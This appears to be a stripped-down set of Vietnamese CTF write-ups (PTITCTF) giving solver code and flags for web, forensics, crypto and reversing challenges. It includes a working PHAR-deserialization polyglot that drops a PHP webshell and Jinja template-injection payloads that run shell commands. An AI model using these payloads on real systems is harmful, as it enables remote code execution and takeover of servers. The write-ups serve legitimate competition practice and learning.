1
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
2
$fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
3
if (!in_array($file['type'], $allowedTypes) || strpos($fileExtension, 'php') !== false) { ... }

1
$snappy->generateFromHtml($htmlContent, $savePath);

1
class PoC {
2
    private $a;
3
    private $b;
4
    function __wakeup() {
5
        $x = $this->a;
6
        $y = $this->b;
7
        return $x($y);
8
    }
9
}

1
<?php
2

3
class PoC { private $a; private $b; }
4

5
$phar = new Phar("evil.phar");
6
$phar->startBuffering();
7

8
$phar->addFromString("dummy.txt", "x");
9

10
$payload = new PoC();
11

12
$ra = new ReflectionProperty('PoC', 'a');
13
$rb = new ReflectionProperty('PoC', 'b');
14
$ra->setAccessible(true);
15
$rb->setAccessible(true);
16

17
// 'a' sẽ là hàm thực thi; 'b' là lệnh. __wakeup() sẽ chạy: $x($y);
18
$ra->setValue($payload, 'system');
19

20
// Lệnh: ghi webshell vào uploads/s.php (base64 để tránh escape)
21
$cmd = 'bash -c "echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= | base64 -d > uploads/s.php"';
22
$rb->setValue($payload, $cmd);
23

24
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
25

26
// Nhúng metadata = object PoC
27
$phar->setMetadata($payload);
28
$phar->stopBuffering();
29

30
// Đổi tên sang .png để qua bộ lọc đuôi
31
rename("evil.phar", "evil.png");
32
echo "[+] Built evil.png (PHAR polyglot)\n";

1
flag: PTITCTF{Ph4r_Deseri4liz4tion_he_he_he}

1
(![]+[])[+[]] + ([][[]]+[])[+!+[]] + ({}+[])[+!+[]+!+[]] == input

1
typeof a == 'number' && a !== NaN && (a - 1 < a) == false

1
Object.is(0, a) == false && Math.abs(1 / a) > 1

1
[] == input && ![[]] == input

1
flag: PTITCTF{Js_iS_The_best_BAD!!!}

1
description = ...  # lấy từ HTML của URL người dùng nhập
2
escaped_description = html.escape(description)
3
escaped_description = Template(description).render()  # <-- biến 'description' thành template & render!!!

1
<meta name="description" content="{{7*7}}" />

1
<meta name="description" content="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}">

1
<meta name="description" content="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}">

1
flag: PTITCTF{bai_n4y_x4m_v~i}

1
$exiftool challenge.mp3
2
ExifTool Version Number         : 13.25
3
File Name                       : challenge.mp3
4
Directory                       : .
5
File Size                       : 49 kB
6
File Modification Date/Time     : 2025:09:21 14:01:29+07:00
7
File Access Date/Time           : 2025:09:21 14:01:40+07:00
8
File Inode Change Date/Time     : 2025:09:21 14:01:40+07:00
9
File Permissions                : -rw-r--r--
10
File Type                       : MP3
11
File Type Extension             : mp3
12
MIME Type                       : audio/mpeg
13
MPEG Audio Version              : 1
14
Audio Layer                     : 3
15
Audio Bitrate                   : 128 kbps
16
Sample Rate                     : 48000
17
Channel Mode                    : Stereo
18
MS Stereo                       : Off
19
Intensity Stereo                : Off
20
Copyright Flag                  : False
21
Original Media                  : False
22
Emphasis                        : None
23
ID3 Size                        : 89
24
Comment                         : Hint: base64 -> SGVoZUBA
25
Encoder Settings                : Lavf59.27.100
26
Duration                        : 3.08 s (approx)

1
$binwalk -e challenge.mp3
2

3
DECIMAL       HEXADECIMAL     DESCRIPTION
4
--------------------------------------------------------------------------------
5
49241         0xC059          Zip archive data, encrypted at least v2.0 to extract, compressed size: 37, uncompressed size: 25, name: flag.txt

1
flag: PTITCTF{Warm_Up_so_Crazy}

1
$binwalk -e laugh.mp3

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
"""
4
Tự xếp 30 mảnh (5x6) theo khớp biên trắng/đen.
5
- Không dùng manifest; tìm hoán vị tối ưu theo điểm khớp cạnh L/R và T/B.
6
- Heuristic: random init + hill climbing + restarts.
7
- Lưu 3 ảnh: best_debug.png (ghi nhãn), best.png (ảnh ghép), best_cropped.png (crop 490x490).
8
"""
9

10
import os, random, math, itertools, time
11
from PIL import Image, ImageDraw, ImageFont
12

13
ROWS, COLS = 5, 6
14
TW, TH = 82, 98
15
ORIG_W, ORIG_H = 490, 490
16
N = ROWS * COLS
17

18
# === Load tiles & precompute edges (nhị phân 0/1) ===
19
def binarize(im):
20
    im = im.convert("L").resize((TW, TH))
21
    # Ngưỡng 128: QR đen trắng là ổn
22
    return (im.point(lambda p: 0 if p < 128 else 255)).load()
23

24
def edges(im):
25
    px = binarize(im)
26
    # Mỗi cạnh là list 0/1 theo chiều dài cạnh
27
    top = [1 if px[x,0]==0 else 0 for x in range(TW)]
28
    bot = [1 if px[x,TH-1]==0 else 0 for x in range(TW)]
29
    lef = [1 if px[0,y]==0 else 0 for y in range(TH)]
30
    rig = [1 if px[TW-1,y]==0 else 0 for y in range(TH)]
31
    return {"T":top, "B":bot, "L":lef, "R":rig}
32

33
def hamming(a, b):
34
    # điểm KHỚP: số bit giống nhau (dài bằng nhau)
35
    return sum(1 if ai==bi else 0 for ai,bi in zip(a,b))
36

37
def load_tiles():
38
    tiles = []
39
    for i in range(N):
40
        fn = f"piece_{i:02d}.png"
41
        if not os.path.exists(fn):
42
            raise FileNotFoundError(fn)
43
        im = Image.open(fn)
44
        tiles.append({"id": i, "fn": fn, "im": im, "edges": edges(im)})
45
    return tiles
46

47
# === Scoring ===
48
def score_grid(order, tiles):
49
    # order: list length N → index tile đặt vào vị trí k
50
    # Tổng điểm khớp các cặp L-R và T-B
51
    s = 0
52
    for r in range(ROWS):
53
        for c in range(COLS):
54
            idx = r*COLS + c
55
            t = tiles[order[idx]]
56
            # So với phải
57
            if c+1 < COLS:
58
                tR = t["edges"]["R"]
59
                u  = tiles[order[idx+1]]
60
                uL = u["edges"]["L"]
61
                s += hamming(tR, uL)
62
            # So với dưới
63
            if r+1 < ROWS:
64
                tB = t["edges"]["B"]
65
                d  = tiles[order[idx+COLS]]
66
                dT = d["edges"]["T"]
67
                s += hamming(tB, dT)
68
    return s
69

70
def neighbor_swap(order):
71
    i, j = random.sample(range(N), 2)
72
    order[i], order[j] = order[j], order[i]
73
    return i, j
74

75
def hill_climb(tiles, iters=30000):
76
    # Khởi tạo ngẫu nhiên
77
    order = list(range(N))
78
    random.shuffle(order)
79
    best = order[:]
80
    best_s = score_grid(best, tiles)
81

82
    cur = order[:]
83
    cur_s = best_s
84

85
    for t in range(iters):
86
        i, j = random.sample(range(N), 2)
87
        cur[i], cur[j] = cur[j], cur[i]
88
        new_s = score_grid(cur, tiles)
89
        if new_s >= cur_s:       # nhận nếu tốt hơn hoặc bằng
90
            cur_s = new_s
91
            if new_s > best_s:
92
                best_s = new_s
93
                best = cur[:]
94
        else:
95
            # hoàn tác
96
            cur[i], cur[j] = cur[j], cur[i]
97

98
        # Thỉnh thoảng nhảy ngẫu nhiên nhỏ để thoát local optimum
99
        if t % 2000 == 0 and t > 0:
100
            a, b = random.sample(range(N), 2)
101
            cur[a], cur[b] = cur[b], cur[a]
102
            cur_s = score_grid(cur, tiles)
103

104
    return best, best_s
105

106
def multi_restart(tiles, rounds=12, iters=25000):
107
    best = None
108
    best_s = -1
109
    for k in range(rounds):
110
        o, s = hill_climb(tiles, iters)
111
        if s > best_s:
112
            best, best_s = o, s
113
            print(f"[round {k+1}] best score = {best_s}")
114
    return best, best_s
115

116
# === Render kết quả ===
117
def render(order, tiles, out_img="best.png", out_dbg="best_debug.png"):
118
    W, H = COLS*TW, ROWS*TH
119
    canvas = Image.new("L", (W, H), 255)
120
    dbg = Image.new("RGB", (W, H), "white")
121
    draw = ImageDraw.Draw(dbg)
122
    for r in range(ROWS):
123
        for c in range(COLS):
124
            k = r*COLS + c
125
            t = tiles[order[k]]
126
            tile = t["im"].convert("L").resize((TW, TH))
127
            canvas.paste(tile, (c*TW, r*TH))
128

129
            # debug border + text
130
            draw.rectangle([c*TW, r*TH, c*TW+TW-1, r*TH+TH-1], outline="red", width=1)
131
            draw.text((c*TW+3, r*TH+3), f"{t['fn']}", fill="red")
132

133
    canvas.save(out_img)
134
    dbg.save(out_dbg)
135
    # crop về kích thước gốc
136
    canvas.crop((0,0,ORIG_W,ORIG_H)).save("best_cropped.png")
137

138
def main():
139
    random.seed(0x1337)
140
    tiles = load_tiles()
141
    print("[*] tiles loaded:", len(tiles))
142
    best, best_s = multi_restart(tiles, rounds=16, iters=30000)
143
    print("[+] final score:", best_s)
144
    render(best, tiles)
145

146
if __name__ == "__main__":
147
    main()

1
flag: PTITCTF{PTIT_Futures_is_a_crypt0currency_futures_trading_platf0rm_and_sh0rt_BTC_set_up_n0w!!!}

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
"""
4
YugiVault — Exodia (CTF) solver (final)
5
- Kết nối server, lấy 12 cards (choices) và 1 chữ ký (vaults)
6
- MITM khôi phục nonce k: k = sum_{j=0..11} (v_{π(j)} << (16*j)), v_i = id_i & 0xFFFF
7
- ECDSA: d = (s*k - z) * r^{-1} mod n với z = SHA256(uuid)
8
- Xử lý low-s (thử d1/d2 hoặc đối chiếu public_key)
9
- Gửi unlock_exodia <d_hex> 00 00 00 00, in toàn bộ phản hồi + trích FLAG
10
"""
11

12
import socket, sys, time, hashlib, json, re, itertools
13
from typing import List, Tuple, Dict, Optional
14

15
# ===== secp256k1 =====
16
P  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
17
N  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
18
A  = 0
19
B  = 7
20
Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240
21
Gy = 32670510020758816978083085130507043184471273380659243275938904335757337482424
22
G  = (Gx, Gy)
23

24
class ZeroError(Exception): pass
25

26
def point_add(Pt, Qt):
27
    if Pt is None: return Qt
28
    if Qt is None: return Pt
29
    x1, y1 = Pt; x2, y2 = Qt
30
    if x1 == x2 and (y1 + y2) % P == 0: return None
31
    if Pt == Qt:
32
        s = ((3*x1*x1 + A) * pow(2*y1 % P, -1, P)) % P
33
    else:
34
        s = ((y2 - y1) * pow((x2 - x1) % P, -1, P)) % P
35
    x3 = (s*s - x1 - x2) % P
36
    y3 = (s*(x1 - x3) - y1) % P
37
    return (x3, y3)
38

39
def scalar_mult(k: int, Pt=G):
40
    if k % N == 0 or Pt is None: return None
41
    if k < 0: return scalar_mult(-k, (Pt[0], (-Pt[1]) % P))
42
    result = None; addend = Pt
43
    while k:
44
        if k & 1: result = point_add(result, addend)
45
        addend = point_add(addend, addend)
46
        k >>= 1
47
    return result
48

49
def compress_point(Pt) -> bytes:
50
    x, y = Pt
51
    return bytes([0x02 if (y % 2 == 0) else 0x03]) + x.to_bytes(32, 'big')
52

53
def sha256(b: bytes) -> bytes:
54
    return hashlib.sha256(b).digest()
55

56
def sqrt_mod_p(a: int) -> int:
57
    # P % 4 == 3
58
    return pow(a, (P + 1) // 4, P)
59

60
def r_to_R_candidates(r: int):
61
    cands = []
62
    for x in {r % N, (r % N) + N}:
63
        if x >= P: continue
64
        rhs = (pow(x, 3, P) + 7) % P
65
        y = sqrt_mod_p(rhs)
66
        if (y*y) % P == rhs:
67
            cands.append((x, y))
68
            if y != 0:
69
                cands.append((x, (-y) % P))
70
    uniq, seen = [], set()
71
    for t in cands:
72
        if t in seen: continue
73
        seen.add(t); uniq.append(t)
74
    return uniq
75

76
# ===== Socket helpers =====
77
ANSI_RE = re.compile(r'\x1b\[[0-9;]*[A-Za-z]')
78

79
def sendline(sock, s: str):
80
    sock.sendall((s.rstrip() + "\n").encode())
81

82
def recv_until_prompt(sock, prompt=b"> ", hard_timeout=6.0) -> bytes:
83
    buf = b""; t0 = time.time(); sock.settimeout(1.0)
84
    while time.time() - t0 < hard_timeout:
85
        try:
86
            chunk = sock.recv(4096)
87
            if not chunk: break
88
            buf += chunk
89
            if prompt in buf: break
90
        except Exception:
91
            pass
92
    return buf
93

94
def try_extract_json_text(text: str) -> Optional[object]:
95
    m = re.search(r'(\[.*\]|\{.*\})', text, re.S)
96
    if m:
97
        try:
98
            return json.loads(m.group(1))
99
        except Exception:
100
            pass
101
    for open_ch, close_ch in [('[', ']'), ('{', '}')]:
102
        start = text.find(open_ch)
103
        if start == -1: continue
104
        depth, in_str, esc = 0, False, False
105
        for i in range(start, len(text)):
106
            ch = text[i]
107
            if in_str:
108
                if esc: esc = False
109
                elif ch == '\\': esc = True
110
                elif ch == '"': in_str = False
111
            else:
112
                if ch == '"': in_str = True
113
                elif ch == open_ch: depth += 1
114
                elif ch == close_ch:
115
                    depth -= 1
116
                    if depth == 0:
117
                        chunk = text[start:i+1]
118
                        try:
119
                            return json.loads(chunk)
120
                        except Exception:
121
                            break
122
    return None
123

124
def recv_json(sock, hard_timeout=8.0):
125
    buf = b""; t0 = time.time(); sock.settimeout(1.0)
126
    while time.time() - t0 < hard_timeout:
127
        try:
128
            chunk = sock.recv(4096)
129
            if not chunk:
130
                break
131
            buf += chunk
132
            text = ANSI_RE.sub("", buf.decode("utf-8", errors="ignore"))
133
            js = try_extract_json_text(text)
134
            if js is not None:
135
                return js, text
136
        except Exception:
137
            pass
138
    text = ANSI_RE.sub("", buf.decode("utf-8", errors="ignore"))
139
    raise ValueError("JSON not found\n---BEGIN DUMP---\n" + text[:4000] + "\n---END DUMP---")
140

141
def recv_all(sock, idle_timeout=1.2, hard_timeout=10.0):
142
    buf = b""
143
    t0 = time.time()
144
    last = time.time()
145
    sock.settimeout(0.5)
146
    while time.time() - t0 < hard_timeout:
147
        try:
148
            chunk = sock.recv(4096)
149
            if not chunk:
150
                break
151
            buf += chunk
152
            last = time.time()
153
        except Exception:
154
            if time.time() - last >= idle_timeout:
155
                break
156
    return buf
157

158
# ===== MITM khôi phục k =====
159
def recover_k(v16_list: List[int], r: int, uuid_str: str, debug=False):
160
    # Hệ số 2^(16j) mod n
161
    coeffs = [1]
162
    two16 = pow(2, 16, N)
163
    for _ in range(1, 12):
164
        coeffs.append((coeffs[-1] * two16) % N)
165

166
    # C[i][j] = (v_i * 2^(16j))·G
167
    C = [[scalar_mult((v16_list[i] * coeffs[j]) % N, G) for j in range(12)] for i in range(12)]
168

169
    pos_low  = list(range(0, 6))
170
    pos_high = list(range(6, 12))
171
    idxs = list(range(12))
172

173
    left_map: Dict[bytes, List[Tuple[int, Tuple[int, ...]]]] = {}
174
    for perm in itertools.permutations(idxs, 6):  # 12P6
175
        mask = 0
176
        S = None
177
        for p_idx, j in enumerate(pos_low):
178
            i = perm[p_idx]
179
            mask |= (1 << i)
180
            S = point_add(S, C[i][j])
181
        cp = compress_point(S)
182
        left_map.setdefault(cp, []).append((mask, perm))
183
    if debug:
184
        print(f"[+] Left map built: {len(left_map)} buckets")
185

186
    def right_iter():
187
        for perm in itertools.permutations(idxs, 6):
188
            mask = 0
189
            S = None
190
            for p_idx, j in enumerate(pos_high):
191
                i = perm[p_idx]
192
                mask |= (1 << i)
193
                S = point_add(S, C[i][j])
194
            yield S, mask, perm
195

196
    R_cands = r_to_R_candidates(r)
197
    if debug:
198
        print(f"[+] R candidates: {len(R_cands)}")
199

200
    inv = lambda Pt: (Pt[0], (-Pt[1]) % P) if Pt is not None else None
201

202
    for Rx, Ry in R_cands:
203
        R = (Rx, Ry)
204
        for S_right, mask_right, perm_right in right_iter():
205
            target = point_add(R, inv(S_right))  # R - S_right
206
            if target is None:
207
                continue
208
            cp_t = compress_point(target)
209
            lst = left_map.get(cp_t)
210
            if not lst:
211
                continue
212
            for (mask_left, perm_left) in lst:
213
                if (mask_left & mask_right) != 0:
214
                    continue
215
                pos2idx = {}
216
                for p_idx, j in enumerate(pos_low):
217
                    pos2idx[j] = perm_left[p_idx]
218
                for p_idx, j in enumerate(pos_high):
219
                    pos2idx[j] = perm_right[p_idx]
220
                k = 0
221
                for j in range(12):
222
                    i = pos2idx[j]
223
                    k += (v16_list[i] & 0xFFFF) << (16 * j)
224
                k %= N
225
                RG = scalar_mult(k, G)
226
                if RG is None or (RG[0] % N) != (r % N):
227
                    continue
228
                if debug:
229
                    print("[+] Found k:", hex(k))
230
                return k
231
    raise RuntimeError("k not found")
232

233
# ===== Orchestrate =====
234
def solve(host="103.197.184.48", port=41337, debug=False):
235
    s = socket.create_connection((host, port), timeout=5.0)
236
    _ = recv_until_prompt(s)
237

238
    # Đồng bộ buffer (không bắt buộc)
239
    try:
240
        sendline(s, "help")
241
        _ = recv_until_prompt(s)
242
    except Exception:
243
        pass
244

245
    # CHOICES
246
    sendline(s, "choices")
247
    choices_js, dump1 = recv_json(s)
248
    if debug:
249
        print("[+] choices dump head:\n", dump1[:200])
250

251
    ids_sorted = []
252
    for x in choices_js:
253
        if isinstance(x, dict):
254
            if 'id' in x:
255
                ids_sorted.append(int(x['id']))
256
            elif 'power' in x:
257
                ids_sorted.append(int(x['power']))
258
            else:
259
                raise ValueError("choices item missing id/power")
260
        else:
261
            ids_sorted.append(int(x))
262
    if len(ids_sorted) != 12:
263
        raise ValueError(f"Expected 12 ids, got {len(ids_sorted)}")
264

265
    v16 = [i & 0xFFFF for i in ids_sorted]
266
    if debug:
267
        print("[+] 12 low16:", v16)
268

269
    # VAULTS
270
    sendline(s, "vaults")
271
    vaults_js, dump2 = recv_json(s)
272
    if debug:
273
        print("[+] vaults dump head:\n", dump2[:200])
274

275
    v0 = vaults_js[0] if isinstance(vaults_js, list) else vaults_js
276
    uuid_str = str(v0.get("id") or v0.get("uuid") or v0.get("uid"))
277
    sig_hex  = v0.get("signature") or v0.get("sig") or v0.get("ecdsa")
278
    if not uuid_str or not sig_hex:
279
        raise ValueError("vault object missing id/signature")
280

281
    sig_hex = sig_hex.strip().lower()
282
    if len(sig_hex) != 128:
283
        raise ValueError(f"signature length != 128: {len(sig_hex)}")
284
    r = int(sig_hex[:64], 16)
285
    s_val = int(sig_hex[64:], 16)
286

287
    if debug:
288
        print("[+] Using vault:", uuid_str)
289
        print("[+] r, s:", hex(r), hex(s_val))
290

291
    # MITM -> k
292
    k = recover_k(v16, r, uuid_str, debug=debug)
293

294
    # Xử lý low-s (d1/d2) và chọn d theo public_key nếu có
295
    z = int.from_bytes(sha256(uuid_str.encode()), 'big') % N
296
    rinv = pow(r, -1, N)
297
    d1 = ((s_val * k - z) * rinv) % N
298
    d2 = (((N - s_val) * k - z) * rinv) % N  # nếu server ép low-s
299

300
    # Thử lấy public_key để chọn đúng d
301
    chosen_d = None
302
    try:
303
        sendline(s, "public_key")
304
        text = recv_until_prompt(s).decode("utf-8", errors="ignore")
305
        m = re.search(r'([0-9a-fA-F]{66})', text)
306
        if m:
307
            server_pub = m.group(1).lower()
308
            def pub_from_d(d):
309
                Px, Py = scalar_mult(d, G)
310
                return ('02' if (Py % 2 == 0) else '03') + format(Px, '064x')
311
            if pub_from_d(d1) == server_pub:
312
                chosen_d = d1
313
            elif pub_from_d(d2) == server_pub:
314
                chosen_d = d2
315
            if debug:
316
                print("[+] Selected d via pubkey:", "d1" if chosen_d == d1 else ("d2" if chosen_d == d2 else "None"))
317
    except Exception:
318
        pass
319

320
    # Fallback: chưa xác định được thì thử d1 trước, nếu fail sẽ thử d2
321
    tried_both = False
322
    for attempt_d in ([chosen_d] if chosen_d is not None else [d1, d2]):
323
        head = format(attempt_d, '064x')
324
        sendline(s, f"unlock_exodia {head} 00 00 00 00")
325
        resp = recv_all(s, idle_timeout=1.2, hard_timeout=10.0).decode("utf-8", errors="ignore")
326
        print(resp)
327
        m = re.search(r'(PTIT\{[^}]+\})', resp)
328
        if m:
329
            print("FLAG:", m.group(1))
330
            return
331
        # nếu server không đóng kết nối và báo sai, thử d còn lại
332
        tried_both = True
333

334
    # Nếu tới đây vẫn chưa thấy flag: thử nốt d còn lại (khi đã chọn theo pubkey nhưng sai do format khác)
335
    if not tried_both and chosen_d is not None:
336
        other = d2 if chosen_d == d1 else d1
337
        head = format(other, '064x')
338
        sendline(s, f"unlock_exodia {head} 00 00 00 00")
339
        resp = recv_all(s, idle_timeout=1.2, hard_timeout=10.0).decode("utf-8", errors="ignore")
340
        print(resp)
341
        m = re.search(r'(PTITCTF\{[^}]+\})', resp)
342
        if m:
343
            print("FLAG:", m.group(1))
344

345
if __name__ == "__main__":
346
    host = sys.argv[1] if len(sys.argv) > 1 else "103.197.184.48"
347
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 41337
348
    debug = bool(int(sys.argv[3])) if len(sys.argv) > 3 else False
349
    solve(host, port, debug)

1
python3 solve.py
2
public_key: 034e0789e68d6ebff0c9883f32257cbf45624b9e3963f165c3b22acf03d91c1a3c
3

4
> Exodia assembled!
5
> FLAG: PTITCTF{Exodia_the_forbidden_one_has_been_assembled}
6
> FLAG: CTF{Exodia_the_forbidden_one_has_been_assembled}

1
v30 = 1;
2
do {
3
  v31 = v30;            // 1, 4, 7, 10, ...
4
  v30 += 3;
5
  // chọn thứ tự byte theo (v31 & 3)
6
  *(_DWORD*)((char*)&rlimits[0].sa_handler + v29) =
7
    v32[(v31&3)-512]           |
8
    (v32[(((v31&3)+1)&3)-512] << 8) |
9
    (v32[(((v31&3)+2)&3)-512] << 16)|
10
    (v32[(((v31&3)+3)&3)-512] << 24);
11
  v29 += 4;
12
} while (v30 != 46);

1
v40 = byte_2220[j] ^ enc_rot[j];
2
v37 |= (v40 ^ v39);      // tích luỹ sai khác
3
...
4
if (v37 == 0) Correct; else Nope;

1
byte_2220[j] ^ enc_rot[j] == KS[j]
2
⇔ enc_rot[j] = byte_2220[j] ^ KS[j]

1
flag: PTITCTF{Y0u_c4n_bypass_4ll_types_0f_4nt1!!!}